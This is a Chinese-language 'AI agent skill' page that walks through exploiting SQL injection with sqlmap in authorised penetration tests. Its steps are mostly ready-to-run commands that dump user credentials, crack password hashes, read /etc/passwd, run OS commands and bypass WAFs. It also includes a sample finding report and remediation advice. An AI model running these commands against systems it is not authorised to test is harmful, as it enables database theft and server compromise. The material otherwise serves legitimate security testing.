Exploiting sql injection with sqlmap

From killvxk/cybersecurity-skills-zh · View interactive version

Exploiting sql injection with sqlmap is an AI agent skill from the GitHub repository killvxk/cybersecurity-skills-zh. 在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。

How to use this skill

Skill file

使用 sqlmap 利用 SQL 注入漏洞(Exploiting SQL Injection with sqlmap)

适用场景

前置条件

工作流程

步骤 1:识别潜在注入点

手动浏览应用程序,识别与数据库交互的参数。使用 Burp Suite 捕获请求。

# 启动 Burp Suite 代理并捕获请求
# 在 URL、POST 体、Cookie 和请求头中查找参数
# 目标 URL 示例,其中包含疑似可注入参数:
# https://target.example.com/products?id=1

# 手动测试基本 SQL 注入指标
curl -k "https://target.example.com/products?id=1'"
# 查找如下 SQL 错误消息:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

步骤 2:运行 sqlmap 基础检测扫描

针对疑似注入点启动 sqlmap,确认漏洞并识别数据库类型。

# 基本 GET 参数测试
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# POST 请求(将 Burp Suite 的请求保存到文件)
sqlmap -r request.txt --batch --random-agent

# 测试 POST 请求中的特定参数
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# 测试基于 Cookie 的注入
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

步骤 3:枚举数据库结构

确认注入后,枚举数据库、数据表和列。

# 列出所有数据库
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# 列出特定数据库中的数据表
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# 列出特定数据表中的列
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

步骤 4:从目标表中提取数据

导出敏感表的内容以证明影响。

# 从数据表中导出特定列
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# 限制行数导出,避免过度数据提取
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# 尝试自动破解密码哈希
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

步骤 5:测试高级利用向量

通过测试操作系统级别访问和文件操作评估完整影响。

# 检查当前数据库用户和权限
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# 尝试读取服务器文件(如果存在 DBA 权限)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# 尝试执行操作系统命令(MySQL 具有 FILE 权限时)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

步骤 6:使用 Tamper 脚本绕过 WAF/过滤器

当 WAF(Web 应用程序防火墙)或输入过滤器拦截基本载荷时,使用 Tamper 脚本。

# 常用的 WAF 绕过 Tamper 脚本
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

# 针对特定 WAF 的绕过(例如 ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

# 列出所有可用的 Tamper 脚本
sqlmap --list-tampers

步骤 7:生成报告并清理

记录发现结果并清理所有产生的文件。

# sqlmap 将结果存储在 ~/.local/share/sqlmap/output/
# 查看目标输出目录
ls -la ~/.local/share/sqlmap/output/target.example.com/

# 指定输出目录导出结果
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

# 任务结束后清理 sqlmap 会话数据
sqlmap --purge

核心概念

| 概念 | 定义 |

|---------|-------------|

| 联合查询 SQLi(Union-based SQLi) | 使用 UNION SELECT 将攻击者的查询结果附加到原始查询输出中 |

| 布尔盲注(Blind Boolean SQLi) | 通过观察应用程序的真/假响应,每次推断一位数据 |

| 时间盲注(Blind Time-based SQLi) | 使用数据库睡眠函数(如 SLEEP(5))基于响应延迟推断数据 |

| 报错注入(Error-based SQLi) | 通过 HTTP 响应中返回的详细数据库错误消息提取数据 |

| 堆叠查询(Stacked Queries) | 通过分号分隔多条 SQL 语句,执行 INSERT/UPDATE/DELETE 操作 |

| 带外注入(Out-of-band SQLi) | 通过数据库服务器发起的 DNS 或 HTTP 请求外泄数据 |

| Tamper 脚本(Tamper Scripts) | sqlmap 插件,用于修改载荷以绕过 WAF 和输入清理过滤器 |

| 二阶注入(Second-order SQLi) | 注入的载荷被存储,稍后在不同查询上下文中执行 |

工具与系统

| 工具 | 用途 |

|------|---------|

| sqlmap | 自动化 SQL 注入检测与利用框架 |

| Burp Suite Professional | 用于拦截、修改和重放请求的 HTTP 代理 |

| OWASP ZAP | Burp 的免费替代品,用于 Web 应用扫描和代理 |

| Havij | 带 GUI 的自动化 SQL 注入工具(Windows) |

| jSQL Injection | 基于 Java 的 SQL 注入测试 GUI 工具 |

| DBeaver/DataGrip | 用于验证提取数据结构的数据库客户端 |

常见场景

场景 1:电商商品页面 SQLi

商品详情页直接在 SQL 查询中使用 id 参数。使用 sqlmap 提取完整的客户数据库(包含支付信息)以证明严重的业务影响。

场景 2:登录表单绕过

登录表单将用户输入拼接到认证查询中。利用漏洞绕过认证并枚举数据库中存储的所有用户凭证。

场景 3:带 WAF 保护的搜索功能

搜索功能存在 SQL 注入漏洞,但受 WAF 保护。使用 space2comment 和 between 等 Tamper 脚本对载荷进行编码并绕过过滤规则。

场景 4:基于 Cookie 的盲 SQL 注入

Cookie 值在服务器端被用于数据库查询。使用基于时间的盲注技术逐字符提取数据。

输出格式

## SQL 注入发现报告

**漏洞**:SQL 注入(联合查询型)
**严重性**:严重(CVSS 9.8)
**位置**:/products?id=1 处的 GET 参数 `id`
**数据库**:MySQL 8.0.32
**影响**:完整数据库读取权限,15,000 条用户记录已暴露
**OWASP 类别**:A03:2021 - 注入

### 证据
- 注入点:`id` 参数(GET)
- 技术:联合查询型
- 后端 DBMS:MySQL >= 5.0
- 当前用户:app_user@localhost
- DBA 权限:否

### 已枚举的数据库
1. information_schema
2. target_app_db
3. mysql

### 已暴露的敏感数据
- 数据表:users(15,247 行)
- 列:id、username、email、password_hash、created_at

### 修复建议
1. 对所有数据库交互使用参数化查询(预编译语句)
2. 对预期数据类型实施基于白名单的输入验证
3. 为应用程序用户应用最小权限数据库权限
4. 部署 WAF 作为纵深防御
5. 启用数据库查询日志记录和异常模式监控
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.